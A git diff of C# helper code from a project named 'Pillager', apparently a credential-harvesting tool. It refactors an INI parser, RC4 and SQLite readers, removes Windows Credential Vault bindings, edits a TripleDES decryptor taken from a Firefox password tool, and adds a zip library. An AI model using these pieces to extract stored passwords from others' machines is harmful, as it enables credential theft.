|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -680,8 +658,7 @@ namespace Pillager.Helper
|
|||
sectionName = sectionName.ToLower();
|
||||
key = key.ToLower();
|
||||
|
||||
List<IniLine> section;
|
||||
if (sectionMap.TryGetValue(sectionName, out section))
|
||||
if (sectionMap.TryGetValue(sectionName, out var section))
|
||||
{
|
||||
//Search through the list to find the key if it exists
|
||||
for (int i = 0; i < section.Count; i++)
|
||||
|
@ -695,7 +672,7 @@ namespace Pillager.Helper
|
|||
}
|
||||
}
|
||||
}
|
||||
info = new IniLine() { type = LineType.None };
|
||||
info = new IniLine { type = LineType.None };
|
||||
return false;
|
||||
}
|
||||
|
||||
|
@ -709,11 +686,9 @@ namespace Pillager.Helper
|
|||
//Section names are case insensitive
|
||||
sectionName = sectionName.ToLower();
|
||||
|
||||
List<IniLine> section;
|
||||
if (sectionMap.TryGetValue(sectionName, out section))
|
||||
if (sectionMap.TryGetValue(sectionName, out var section))
|
||||
return section;
|
||||
else
|
||||
return null;
|
||||
return null;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
|
@ -799,10 +774,9 @@ namespace Pillager.Helper
|
|||
}
|
||||
|
||||
//Add this key value pair to the specified section List
|
||||
List<IniLine> section;
|
||||
|
||||
//If the section List does not exist, create it
|
||||
if (!sectionMap.TryGetValue(sectionLowerCased, out section))
|
||||
if (!sectionMap.TryGetValue(sectionLowerCased, out var section))
|
||||
{
|
||||
//Ini files are supposed to be case insensitive so we lowercase all our keys
|
||||
//for lookup only
|
||||
|
@ -837,14 +811,14 @@ namespace Pillager.Helper
|
|||
#region Logging methods
|
||||
void FireLogWarning(string text, params object[] args)
|
||||
{
|
||||
string msg = string.Format("[line {0}] WARN: {1}", lineNumber, string.Format(text, args));
|
||||
string msg = $"[line {lineNumber}] WARN: {string.Format(text, args)}";
|
||||
|
||||
LogWarning?.Invoke(msg);
|
||||
}
|
||||
|
||||
void FireLogError(string text, params object[] args)
|
||||
{
|
||||
string msg = string.Format("[line {0}] ERR: {1}", lineNumber, string.Format(text, args));
|
||||
string msg = $"[line {lineNumber}] ERR: {string.Format(text, args)}";
|
||||
LogError?.Invoke(msg);
|
||||
}
|
||||
#endregion
|
||||
|
@ -857,10 +831,8 @@ namespace Pillager.Helper
|
|||
/// <param name="line"></param>
|
||||
void Parse(string line)
|
||||
{
|
||||
IniLine current;
|
||||
|
||||
//Is this line a valid comment?
|
||||
if (ParseLineComment(line, out current))
|
||||
if (ParseLineComment(line, out var current))
|
||||
{
|
||||
AddIniLine(current);
|
||||
}
|
||||
|
@ -887,11 +859,8 @@ namespace Pillager.Helper
|
|||
|
||||
if (string.IsNullOrEmpty(line) || line.IsWhiteSpace() || line[0] != ';')
|
||||
return false;
|
||||
else
|
||||
{
|
||||
info = new IniLine() { type = LineType.Comment, section = currentSection, comment = line.Substring(1, line.Length - 1) };
|
||||
return true;
|
||||
}
|
||||
info = new IniLine { type = LineType.Comment, section = currentSection, comment = line.Substring(1, line.Length - 1) };
|
||||
return true;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
|
@ -924,23 +893,20 @@ namespace Pillager.Helper
|
|||
|
||||
if (sectionName.Length == 0)
|
||||
return false;
|
||||
else
|
||||
//Is there a comment Inline with this section?
|
||||
string comment = null;
|
||||
if (line.IndexOf(';') != -1 && line.IndexOf(';') < line.Length - 1)
|
||||
{
|
||||
//Is there a comment Inline with this section?
|
||||
string comment = null;
|
||||
if (line.IndexOf(';') != -1 && line.IndexOf(';') < line.Length - 1)
|
||||
{
|
||||
comment = line.Substring(line.IndexOf(';') + 1, (line.Length - 1) - (line.IndexOf(';')));
|
||||
comment = line.Substring(line.IndexOf(';') + 1, (line.Length - 1) - (line.IndexOf(';')));
|
||||
|
||||
//Is the comment empty?
|
||||
if (string.IsNullOrEmpty(comment) || comment.IsWhiteSpace()) comment = null;
|
||||
}
|
||||
|
||||
currentSection = sectionName.ToString();
|
||||
|
||||
info = new IniLine() { type = LineType.Section, section = sectionName.ToString(), comment = comment };
|
||||
return true;
|
||||
//Is the comment empty?
|
||||
if (string.IsNullOrEmpty(comment) || comment.IsWhiteSpace()) comment = null;
|
||||
}
|
||||
|
||||
currentSection = sectionName.ToString();
|
||||
|
||||
info = new IniLine { type = LineType.Section, section = sectionName.ToString(), comment = comment };
|
||||
return true;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
|
@ -962,7 +928,7 @@ namespace Pillager.Helper
|
|||
}
|
||||
|
||||
//Zip past any leading whitespace
|
||||
while (Char.IsWhiteSpace(input[startIndex]) && startIndex < input.Length) startIndex++;
|
||||
while (char.IsWhiteSpace(input[startIndex]) && startIndex < input.Length) startIndex++;
|
||||
|
||||
//Look for a quoted string
|
||||
int numQuotes = input.CountChar('"', startIndex);
|
||||
|
@ -1030,17 +996,17 @@ namespace Pillager.Helper
|
|||
//If this was not a quoted string, check and see if it is a csv list
|
||||
if (quoteChar == '\0' && value.IndexOf(',') > -1)
|
||||
{
|
||||
vals = value.Split(',').Select((csv) => csv.Trim()).ToArray();
|
||||
vals = value.Split(',').Select(csv => csv.Trim()).ToArray();
|
||||
|
||||
//The array field cannot contain just one element
|
||||
if (vals != null && vals.Length == 1)
|
||||
if (vals.Length == 1)
|
||||
vals = null;
|
||||
//else
|
||||
// value = null;
|
||||
}
|
||||
|
||||
//Ok then return what we found
|
||||
info = new IniLine() { type = LineType.KeyValue, value = value, comment = comment, quotechar = quoteChar, array = vals };
|
||||
info = new IniLine { type = LineType.KeyValue, value = value, comment = comment, quotechar = quoteChar, array = vals };
|
||||
return true;
|
||||
}
|
||||
|
||||
|
@ -1083,13 +1049,10 @@ namespace Pillager.Helper
|
|||
//Parse the rest of the string looking for a value, or a csv array and an optional inline comment
|
||||
if (!ParseValue(input, startIndex, out info))
|
||||
return false;
|
||||
else
|
||||
{
|
||||
//Add the current section name and the key to this and we are done
|
||||
info.section = currentSection;
|
||||
info.key = k.ToString();
|
||||
return true;
|
||||
}
|
||||
//Add the current section name and the key to this and we are done
|
||||
info.section = currentSection;
|
||||
info.key = k.ToString();
|
||||
return true;
|
||||
}
|
||||
#endregion
|
||||
|
||||
|
@ -1116,22 +1079,17 @@ namespace Pillager.Helper
|
|||
{
|
||||
if (iniStruct.quotechar > 0)
|
||||
return string.Format("{0}{1}{4}{2}{4} ;{3}", iniStruct.key, outputKVSeparator, val, iniStruct.comment, iniStruct.quotechar);
|
||||
else
|
||||
return $"{iniStruct.key}{outputKVSeparator}{val} ;{iniStruct.comment}";
|
||||
}
|
||||
else
|
||||
{
|
||||
//If the value begins or ends with whitespace, a ; or either the input or output kv separator, put it in quotes
|
||||
if (iniStruct.quotechar > 0)
|
||||
return string.Format("{0}{1}{3}{2}{3}", iniStruct.key, outputKVSeparator, val, iniStruct.quotechar);
|
||||
else
|
||||
return $"{iniStruct.key}{outputKVSeparator}{val}";
|
||||
return $"{iniStruct.key}{outputKVSeparator}{val} ;{iniStruct.comment}";
|
||||
}
|
||||
|
||||
//If the value begins or ends with whitespace, a ; or either the input or output kv separator, put it in quotes
|
||||
if (iniStruct.quotechar > 0)
|
||||
return string.Format("{0}{1}{3}{2}{3}", iniStruct.key, outputKVSeparator, val, iniStruct.quotechar);
|
||||
return $"{iniStruct.key}{outputKVSeparator}{val}";
|
||||
case LineType.Section:
|
||||
if (!string.IsNullOrEmpty(iniStruct.comment))
|
||||
return $"[{iniStruct.section}] ;{iniStruct.comment}";
|
||||
else
|
||||
return $"[{iniStruct.section}]";
|
||||
return $"[{iniStruct.section}]";
|
||||
default:
|
||||
return string.Empty;
|
||||
}
|
||||
|
|
|
@ -1,7 +1,5 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
|
||||
namespace Pillager.Helper
|
||||
{
|
||||
|
@ -52,7 +50,7 @@ namespace Pillager.Helper
|
|||
int i = 0;
|
||||
int j = 0;
|
||||
|
||||
return data.Select((b) =>
|
||||
return data.Select(b =>
|
||||
{
|
||||
i = (i + 1) & 255;
|
||||
j = (j + s[i]) & 255;
|
||||
|
|
|
@ -332,14 +332,13 @@ namespace Pillager.Helper
|
|||
for (int j = 0; j <= num14; j++)
|
||||
{
|
||||
ushort startIndex = (ushort)ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 12M), new decimal(j * 2))), 2);
|
||||
if (decimal.Compare(new decimal(Offset), 100M) == 0)
|
||||
{
|
||||
ReadMasterTable(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(ConvertToInteger(startIndex, 4)), decimal.One), new decimal(page_size))));
|
||||
}
|
||||
else
|
||||
{
|
||||
ReadMasterTable(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(ConvertToInteger((int)(Offset + startIndex), 4)), decimal.One), new decimal(page_size))));
|
||||
}
|
||||
ReadMasterTable(decimal.Compare(new decimal(Offset), 100M) == 0
|
||||
? Convert.ToUInt64(decimal.Multiply(
|
||||
decimal.Subtract(new decimal(ConvertToInteger(startIndex, 4)), decimal.One),
|
||||
new decimal(page_size)))
|
||||
: Convert.ToUInt64(decimal.Multiply(
|
||||
decimal.Subtract(new decimal(ConvertToInteger((int)(Offset + startIndex), 4)), decimal.One),
|
||||
new decimal(page_size))));
|
||||
}
|
||||
|
||||
ReadMasterTable(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 8M)), 4)), decimal.One),
|
||||
|
|
|
@ -1,27 +0,0 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using tar_cs;
|
||||
|
||||
namespace Pillager.Helper
|
||||
{
|
||||
internal class Tar
|
||||
{
|
||||
public static void Pack(string savepath,string savezippath)
|
||||
{
|
||||
using (var outFile = File.Create(savezippath))
|
||||
{
|
||||
using (var outStream = new GZipStream(outFile, CompressionMode.Compress))
|
||||
{
|
||||
using (var writer = new TarWriter(outStream))
|
||||
{
|
||||
writer.WriteDirectory(savepath, savepath, true);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,5 +1,6 @@
|
|||
using System.IO;
|
||||
using System.Security.Cryptography;
|
||||
|
||||
// Adapted from firepwd.net (https://github.com/gourk/FirePwd.Net)
|
||||
|
||||
namespace Pillager.Helper
|
||||
|
@ -8,8 +9,6 @@ namespace Pillager.Helper
|
|||
{
|
||||
public static string DESCBCDecryptor(byte[] key, byte[] iv, byte[] input)
|
||||
{
|
||||
string plaintext = null;
|
||||
|
||||
using (TripleDESCryptoServiceProvider tdsAlg = new TripleDESCryptoServiceProvider())
|
||||
{
|
||||
tdsAlg.Key = key;
|
||||
|
@ -25,14 +24,12 @@ namespace Pillager.Helper
|
|||
{
|
||||
using (StreamReader srDecrypt = new StreamReader(csDecrypt))
|
||||
{
|
||||
plaintext = srDecrypt.ReadToEnd();
|
||||
return srDecrypt.ReadToEnd();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return plaintext;
|
||||
}
|
||||
|
||||
public static byte[] DESCBCDecryptorByte(byte[] key, byte[] iv, byte[] input)
|
||||
|
|
|
@ -1,97 +0,0 @@
|
|||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace Pillager.Helper
|
||||
{
|
||||
public static class VaultCli
|
||||
{
|
||||
public enum VAULT_ELEMENT_TYPE : Int32
|
||||
{
|
||||
Undefined = -1,
|
||||
Boolean = 0,
|
||||
Short = 1,
|
||||
UnsignedShort = 2,
|
||||
Int = 3,
|
||||
UnsignedInt = 4,
|
||||
Double = 5,
|
||||
Guid = 6,
|
||||
String = 7,
|
||||
ByteArray = 8,
|
||||
TimeStamp = 9,
|
||||
ProtectedArray = 10,
|
||||
Attribute = 11,
|
||||
Sid = 12,
|
||||
Last = 13
|
||||
}
|
||||
|
||||
public enum VAULT_SCHEMA_ELEMENT_ID : Int32
|
||||
{
|
||||
Illegal = 0,
|
||||
Resource = 1,
|
||||
Identity = 2,
|
||||
Authenticator = 3,
|
||||
Tag = 4,
|
||||
PackageSid = 5,
|
||||
AppStart = 100,
|
||||
AppEnd = 10000
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
|
||||
public struct VAULT_ITEM_WIN8
|
||||
{
|
||||
public Guid SchemaId;
|
||||
public IntPtr pszCredentialFriendlyName;
|
||||
public IntPtr pResourceElement;
|
||||
public IntPtr pIdentityElement;
|
||||
public IntPtr pAuthenticatorElement;
|
||||
public IntPtr pPackageSid;
|
||||
public UInt64 LastModified;
|
||||
public UInt32 dwFlags;
|
||||
public UInt32 dwPropertiesCount;
|
||||
public IntPtr pPropertyElements;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
|
||||
public struct VAULT_ITEM_WIN7
|
||||
{
|
||||
public Guid SchemaId;
|
||||
public IntPtr pszCredentialFriendlyName;
|
||||
public IntPtr pResourceElement;
|
||||
public IntPtr pIdentityElement;
|
||||
public IntPtr pAuthenticatorElement;
|
||||
public UInt64 LastModified;
|
||||
public UInt32 dwFlags;
|
||||
public UInt32 dwPropertiesCount;
|
||||
public IntPtr pPropertyElements;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Explicit, CharSet = CharSet.Ansi)]
|
||||
public struct VAULT_ITEM_ELEMENT
|
||||
{
|
||||
[FieldOffset(0)] public VAULT_SCHEMA_ELEMENT_ID SchemaElementId;
|
||||
[FieldOffset(8)] public VAULT_ELEMENT_TYPE Type;
|
||||
}
|
||||
|
||||
[DllImport("vaultcli.dll")]
|
||||
public extern static Int32 VaultOpenVault(ref Guid vaultGuid, UInt32 offset, ref IntPtr vaultHandle);
|
||||
|
||||
[DllImport("vaultcli.dll")]
|
||||
public extern static Int32 VaultCloseVault(ref IntPtr vaultHandle);
|
||||
|
||||
[DllImport("vaultcli.dll")]
|
||||
public extern static Int32 VaultFree(ref IntPtr vaultHandle);
|
||||
|
||||
[DllImport("vaultcli.dll")]
|
||||
public extern static Int32 VaultEnumerateVaults(Int32 offset, ref Int32 vaultCount, ref IntPtr vaultGuid);
|
||||
|
||||
[DllImport("vaultcli.dll")]
|
||||
public extern static Int32 VaultEnumerateItems(IntPtr vaultHandle, Int32 chunkSize, ref Int32 vaultItemCount, ref IntPtr vaultItem);
|
||||
|
||||
[DllImport("vaultcli.dll", EntryPoint = "VaultGetItem")]
|
||||
public extern static Int32 VaultGetItem_WIN8(IntPtr vaultHandle, ref Guid schemaId, IntPtr pResourceElement, IntPtr pIdentityElement, IntPtr pPackageSid, IntPtr zero, Int32 arg6, ref IntPtr passwordVaultPtr);
|
||||
|
||||
[DllImport("vaultcli.dll", EntryPoint = "VaultGetItem")]
|
||||
public extern static Int32 VaultGetItem_WIN7(IntPtr vaultHandle, ref Guid schemaId, IntPtr pResourceElement, IntPtr pIdentityElement, IntPtr zero, Int32 arg5, ref IntPtr passwordVaultPtr);
|
||||
|
||||
}
|
||||
}
|
|
@ -0,0 +1,575 @@
|
|||
// ZipStorer, by Jaime Olivares
|
||||
// Website: http://github.com/jaime-olivares/zipstorer
|
||||
// Version: 3.5.0 (May 20, 2019)
|
||||
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
using System.Text;
|
||||
|
||||
namespace Pillager.Helper
|
||||
{
|
||||
/// <summary>
|
||||
/// Unique class for compression/decompression file. Represents a Zip file.
|
||||
/// </summary>
|
||||
public class ZipStorer : IDisposable
|
||||
{
|
||||
/// <summary>
|
||||
/// Compression method enumeration
|
||||
/// </summary>
|
||||
public enum Compression : ushort
|
||||
{
|
||||
/// <summary>Uncompressed storage</summary>
|
||||
Store = 0,
|
||||
/// <summary>Deflate compression method</summary>
|
||||
Deflate = 8
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Represents an entry in Zip file directory
|
||||
/// </summary>
|
||||
public class ZipFileEntry
|
||||
{
|
||||
/// <summary>Compression method</summary>
|
||||
public Compression Method;
|
||||
/// <summary>Full path and filename as stored in Zip</summary>
|
||||
public string FilenameInZip;
|
||||
/// <summary>Original file size</summary>
|
||||
public uint FileSize;
|
||||
/// <summary>Compressed file size</summary>
|
||||
public uint CompressedSize;
|
||||
/// <summary>Offset of header information inside Zip storage</summary>
|
||||
public uint HeaderOffset;
|
||||
/// <summary>Offset of file inside Zip storage</summary>
|
||||
public uint FileOffset;
|
||||
/// <summary>Size of header information</summary>
|
||||
public uint HeaderSize;
|
||||
/// <summary>32-bit checksum of entire file</summary>
|
||||
public uint Crc32;
|
||||
/// <summary>Last modification time of file</summary>
|
||||
public DateTime ModifyTime;
|
||||
/// <summary>Creation time of file</summary>
|
||||
public DateTime CreationTime;
|
||||
/// <summary>Last access time of file</summary>
|
||||
public DateTime AccessTime;
|
||||
/// <summary>User comment for file</summary>
|
||||
public string Comment;
|
||||
/// <summary>True if UTF8 encoding for filename and comments, false if default (CP 437)</summary>
|
||||
public bool EncodeUTF8;
|
||||
|
||||
/// <summary>Overriden method</summary>
|
||||
/// <returns>Filename in Zip</returns>
|
||||
public override string ToString()
|
||||
{
|
||||
return FilenameInZip;
|
||||
}
|
||||
}
|
||||
|
||||
#region Public fields
|
||||
/// <summary>True if UTF8 encoding for filename and comments, false if default (CP 437)</summary>
|
||||
public bool EncodeUTF8 = true;
|
||||
/// <summary>Force deflate algotithm even if it inflates the stored file. Off by default.</summary>
|
||||
public bool ForceDeflating = false;
|
||||
#endregion
|
||||
|
||||
#region Private fields
|
||||
// List of files to store
|
||||
private List<ZipFileEntry> Files = new List<ZipFileEntry>();
|
||||
// Filename of storage file
|
||||
private string FileName;
|
||||
// Stream object of storage file
|
||||
private Stream ZipFileStream;
|
||||
// General comment
|
||||
private string Comment = string.Empty;
|
||||
// Central dir image
|
||||
private byte[] CentralDirImage;
|
||||
// Existing files in zip
|
||||
private ushort ExistingFiles;
|
||||
// File access for Open method
|
||||
private FileAccess Access;
|
||||
// leave the stream open after the ZipStorer object is disposed
|
||||
private bool leaveOpen;
|
||||
// Static CRC32 Table
|
||||
private static uint[] CrcTable;
|
||||
// Default filename encoder
|
||||
private static Encoding DefaultEncoding = Encoding.GetEncoding(437);
|
||||
#endregion
|
||||
|
||||
#region Public methods
|
||||
// Static constructor. Just invoked once in order to create the CRC32 lookup table.
|
||||
static ZipStorer()
|
||||
{
|
||||
// Generate CRC32 table
|
||||
CrcTable = new uint[256];
|
||||
for (int i = 0; i < CrcTable.Length; i++)
|
||||
{
|
||||
uint c = (uint)i;
|
||||
for (int j = 0; j < 8; j++)
|
||||
{
|
||||
if ((c & 1) != 0)
|
||||
c = 3988292384 ^ (c >> 1);
|
||||
else
|
||||
c >>= 1;
|
||||
}
|
||||
CrcTable[i] = c;
|
||||
}
|
||||
}
|
||||
/// <summary>
|
||||
/// Method to create a new storage file
|
||||
/// </summary>
|
||||
/// <param name="_filename">Full path of Zip file to create</param>
|
||||
/// <param name="_comment">General comment for Zip file</param>
|
||||
/// <returns>A valid ZipStorer object</returns>
|
||||
public static ZipStorer Create(string _filename, string _comment = null)
|
||||
{
|
||||
Stream stream = new FileStream(_filename, FileMode.Create, FileAccess.ReadWrite);
|
||||
|
||||
ZipStorer zip = Create(stream, _comment);
|
||||
zip.Comment = _comment ?? string.Empty;
|
||||
zip.FileName = _filename;
|
||||
|
||||
return zip;
|
||||
}
|
||||
/// <summary>
|
||||
/// Method to create a new zip storage in a stream
|
||||
/// </summary>
|
||||
/// <param name="_stream"></param>
|
||||
/// <param name="_comment"></param>
|
||||
/// <param name="_leaveOpen">true to leave the stream open after the ZipStorer object is disposed; otherwise, false (default).</param>
|
||||
/// <returns>A valid ZipStorer object</returns>
|
||||
public static ZipStorer Create(Stream _stream, string _comment = null, bool _leaveOpen = false)
|
||||
{
|
||||
ZipStorer zip = new ZipStorer();
|
||||
zip.Comment = _comment ?? string.Empty;
|
||||
zip.ZipFileStream = _stream;
|
||||
zip.Access = FileAccess.Write;
|
||||
zip.leaveOpen = _leaveOpen;
|
||||
return zip;
|
||||
}
|
||||
/// <summary>
|
||||
/// Add full contents of a file into the Zip storage
|
||||
/// </summary>
|
||||
/// <param name="_method">Compression method</param>
|
||||
/// <param name="_pathname">Full path of file to add to Zip storage</param>
|
||||
/// <param name="_filenameInZip">Filename and path as desired in Zip directory</param>
|
||||
/// <param name="_comment">Comment for stored file</param>
|
||||
public ZipFileEntry AddFile(Compression _method, string _pathname, string _filenameInZip, string _comment = null)
|
||||
{
|
||||
if (Access == FileAccess.Read)
|
||||
throw new InvalidOperationException("Writing is not alowed");
|
||||
|
||||
using (var stream = new FileStream(_pathname, FileMode.Open, FileAccess.Read))
|
||||
{
|
||||
return AddStream(_method, _filenameInZip, stream, File.GetLastWriteTime(_pathname), _comment);
|
||||
}
|
||||
}
|
||||
/// <summary>
|
||||
/// Add full contents of a stream into the Zip storage
|
||||
/// </summary>
|
||||
/// <remarks>Same parameters and return value as AddStreamAsync()</remarks>
|
||||
public ZipFileEntry AddStream(Compression _method, string _filenameInZip, Stream _source, DateTime _modTime, string _comment = null)
|
||||
{
|
||||
return AddStreamAsync(_method, _filenameInZip, _source, _modTime, _comment);
|
||||
}
|
||||
/// <summary>
|
||||
/// Add full contents of a stream into the Zip storage
|
||||
/// </summary>
|
||||
/// <param name="_method">Compression method</param>
|
||||
/// <param name="_filenameInZip">Filename and path as desired in Zip directory</param>
|
||||
/// <param name="_source">Stream object containing the data to store in Zip</param>
|
||||
/// <param name="_modTime">Modification time of the data to store</param>
|
||||
/// <param name="_comment">Comment for stored file</param>
|
||||
public ZipFileEntry AddStreamAsync(Compression _method, string _filenameInZip, Stream _source, DateTime _modTime, string _comment = null)
|
||||
{
|
||||
if (Access == FileAccess.Read)
|
||||
throw new InvalidOperationException("Writing is not alowed");
|
||||
|
||||
// Prepare the fileinfo
|
||||
ZipFileEntry zfe = new ZipFileEntry
|
||||
{
|
||||
Method = _method,
|
||||
EncodeUTF8 = EncodeUTF8,
|
||||
FilenameInZip = NormalizedFilename(_filenameInZip),
|
||||
Comment = _comment ?? string.Empty,
|
||||
// Even though we write the header now, it will have to be rewritten, since we don't know compressed size or crc.
|
||||
Crc32 = 0, // to be updated later
|
||||
HeaderOffset = (uint)ZipFileStream.Position, // offset within file of the start of this local record
|
||||
CreationTime = _modTime,
|
||||
ModifyTime = _modTime,
|
||||
AccessTime = _modTime
|
||||
};
|
||||
|
||||
// Write local header
|
||||
WriteLocalHeader(zfe);
|
||||
zfe.FileOffset = (uint)ZipFileStream.Position;
|
||||
|
||||
// Write file to zip (store)
|
||||
Store(zfe, _source);
|
||||
|
||||
_source.Close();
|
||||
|
||||
UpdateCrcAndSizes(zfe);
|
||||
|
||||
Files.Add(zfe);
|
||||
return zfe;
|
||||
}
|
||||
/// <summary>
|
||||
/// Add full contents of a directory into the Zip storage
|
||||
/// </summary>
|
||||
/// <param name="_method">Compression method</param>
|
||||
/// <param name="_pathname">Full path of directory to add to Zip storage</param>
|
||||
/// <param name="_pathnameInZip">Path name as desired in Zip directory</param>
|
||||
/// <param name="_comment">Comment for stored directory</param>
|
||||
public void AddDirectory(Compression _method, string _pathname, string _pathnameInZip, string _comment = null)
|
||||
{
|
||||
if (Access == FileAccess.Read)
|
||||
throw new InvalidOperationException("Writing is not allowed");
|
||||
|
||||
string foldername;
|
||||
int pos = _pathname.LastIndexOf(Path.DirectorySeparatorChar);
|
||||
string separator = Path.DirectorySeparatorChar.ToString();
|
||||
foldername = pos >= 0 ? _pathname.Remove(0, pos + 1) : _pathname;
|
||||
|
||||
if (_pathnameInZip != null && _pathnameInZip != "")
|
||||
foldername = _pathnameInZip + foldername;
|
||||
|
||||
if (!foldername.EndsWith(separator, StringComparison.CurrentCulture))
|
||||
foldername = foldername + separator;
|
||||
|
||||
//AddStream(_method, foldername, null/* TODO Change to default(_) if this is not a reference type */, File.GetLastWriteTime(_pathname), _comment);
|
||||
|
||||
// Process the list of files found in the directory.
|
||||
string[] fileEntries = Directory.GetFiles(_pathname);
|
||||
foreach (string fileName in fileEntries)
|
||||
AddFile(_method, fileName, foldername + Path.GetFileName(fileName), "");
|
||||
|
||||
// Recurse into subdirectories of this directory.
|
||||
string[] subdirectoryEntries = Directory.GetDirectories(_pathname);
|
||||
foreach (string subdirectory in subdirectoryEntries)
|
||||
AddDirectory(_method, subdirectory, foldername, "");
|
||||
}
|
||||
/// <summary>
|
||||
/// Updates central directory (if pertinent) and close the Zip storage
|
||||
/// </summary>
|
||||
/// <remarks>This is a required step, unless automatic dispose is used</remarks>
|
||||
public void Close()
|
||||
{
|
||||
if (Access != FileAccess.Read)
|
||||
{
|
||||
uint centralOffset = (uint)ZipFileStream.Position;
|
||||
uint centralSize = 0;
|
||||
|
||||
if (CentralDirImage != null)
|
||||
ZipFileStream.Write(CentralDirImage, 0, CentralDirImage.Length);
|
||||
|
||||
foreach (var t in Files)
|
||||
{
|
||||
long pos = ZipFileStream.Position;
|
||||
WriteCentralDirRecord(t);
|
||||
centralSize += (uint)(ZipFileStream.Position - pos);
|
||||
}
|
||||
|
||||
if (CentralDirImage != null)
|
||||
WriteEndRecord(centralSize + (uint)CentralDirImage.Length, centralOffset);
|
||||
else
|
||||
WriteEndRecord(centralSize, centralOffset);
|
||||
}
|
||||
|
||||
if (ZipFileStream != null && !leaveOpen)
|
||||
{
|
||||
ZipFileStream.Flush();
|
||||
ZipFileStream.Dispose();
|
||||
ZipFileStream = null;
|
||||
}
|
||||
}
|
||||
#endregion
|
||||
|
||||
#region Private methods
|
||||
/* Local file header:
|
||||
local file header signature 4 bytes (0x04034b50)
|
||||
version needed to extract 2 bytes
|
||||
general purpose bit flag 2 bytes
|
||||
compression method 2 bytes
|
||||
last mod file time 2 bytes
|
||||
last mod file date 2 bytes
|
||||
crc-32 4 bytes
|
||||
compressed size 4 bytes
|
||||
uncompressed size 4 bytes
|
||||
filename length 2 bytes
|
||||
extra field length 2 bytes
|
||||
|
||||
filename (variable size)
|
||||
extra field (variable size)
|
||||
*/
|
||||
private void WriteLocalHeader(ZipFileEntry _zfe)
|
||||
{
|
||||
long pos = ZipFileStream.Position;
|
||||
Encoding encoder = _zfe.EncodeUTF8 ? Encoding.UTF8 : DefaultEncoding;
|
||||
byte[] encodedFilename = encoder.GetBytes(_zfe.FilenameInZip);
|
||||
byte[] extraInfo = CreateExtraInfo(_zfe);
|
||||
|
||||
ZipFileStream.Write(new byte[] { 80, 75, 3, 4, 20, 0 }, 0, 6); // No extra header
|
||||
ZipFileStream.Write(BitConverter.GetBytes((ushort)(_zfe.EncodeUTF8 ? 0x0800 : 0)), 0, 2); // filename and comment encoding
|
||||
ZipFileStream.Write(BitConverter.GetBytes((ushort)_zfe.Method), 0, 2); // zipping method
|
||||
ZipFileStream.Write(BitConverter.GetBytes(DateTimeToDosTime(_zfe.ModifyTime)), 0, 4); // zipping date and time
|
||||
ZipFileStream.Write(new byte[] { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, 0, 12); // unused CRC, un/compressed size, updated later
|
||||
ZipFileStream.Write(BitConverter.GetBytes((ushort)encodedFilename.Length), 0, 2); // filename length
|
||||
ZipFileStream.Write(BitConverter.GetBytes((ushort)extraInfo.Length), 0, 2); // extra length
|
||||
|
||||
ZipFileStream.Write(encodedFilename, 0, encodedFilename.Length);
|
||||
ZipFileStream.Write(extraInfo, 0, extraInfo.Length);
|
||||
_zfe.HeaderSize = (uint)(ZipFileStream.Position - pos);
|
||||
}
|
||||
/* Central directory's File header:
|
||||
central file header signature 4 bytes (0x02014b50)
|
||||
version made by 2 bytes
|
||||
version needed to extract 2 bytes
|
||||
general purpose bit flag 2 bytes
|
||||
compression method 2 bytes
|
||||
last mod file time 2 bytes
|
||||
last mod file date 2 bytes
|
||||
crc-32 4 bytes
|
||||
compressed size 4 bytes
|
||||
uncompressed size 4 bytes
|
||||
filename length 2 bytes
|
||||
extra field length 2 bytes
|
||||
file comment length 2 bytes
|
||||
disk number start 2 bytes
|
||||
internal file attributes 2 bytes
|
||||
external file attributes 4 bytes
|
||||
relative offset of local header 4 bytes
|
||||
|
||||
filename (variable size)
|
||||
extra field (variable size)
|
||||
file comment (variable size)
|
||||
*/
|
||||
private void WriteCentralDirRecord(ZipFileEntry _zfe)
|
||||
{
|
||||
Encoding encoder = _zfe.EncodeUTF8 ? Encoding.UTF8 : DefaultEncoding;
|
||||
byte[] encodedFilename = encoder.GetBytes(_zfe.FilenameInZip);
|
||||
byte[] encodedComment = encoder.GetBytes(_zfe.Comment);
|
||||
byte[] extraInfo = CreateExtraInfo(_zfe);
|
||||
|
||||
ZipFileStream.Write(new byte[] { 80, 75, 1, 2, 23, 0xB, 20, 0 }, 0, 8);
|
||||
ZipFileStream.Write(BitConverter.GetBytes((ushort)(_zfe.EncodeUTF8 ? 0x0800 : 0)), 0, 2); // filename and comment encoding
|
||||
ZipFileStream.Write(BitConverter.GetBytes((ushort)_zfe.Method), 0, 2); // zipping method
|
||||
ZipFileStream.Write(BitConverter.GetBytes(DateTimeToDosTime(_zfe.ModifyTime)), 0, 4); // zipping date and time
|
||||
ZipFileStream.Write(BitConverter.GetBytes(_zfe.Crc32), 0, 4); // file CRC
|
||||
ZipFileStream.Write(BitConverter.GetBytes(_zfe.CompressedSize), 0, 4); // compressed file size
|
||||
ZipFileStream.Write(BitConverter.GetBytes(_zfe.FileSize), 0, 4); // uncompressed file size
|
||||
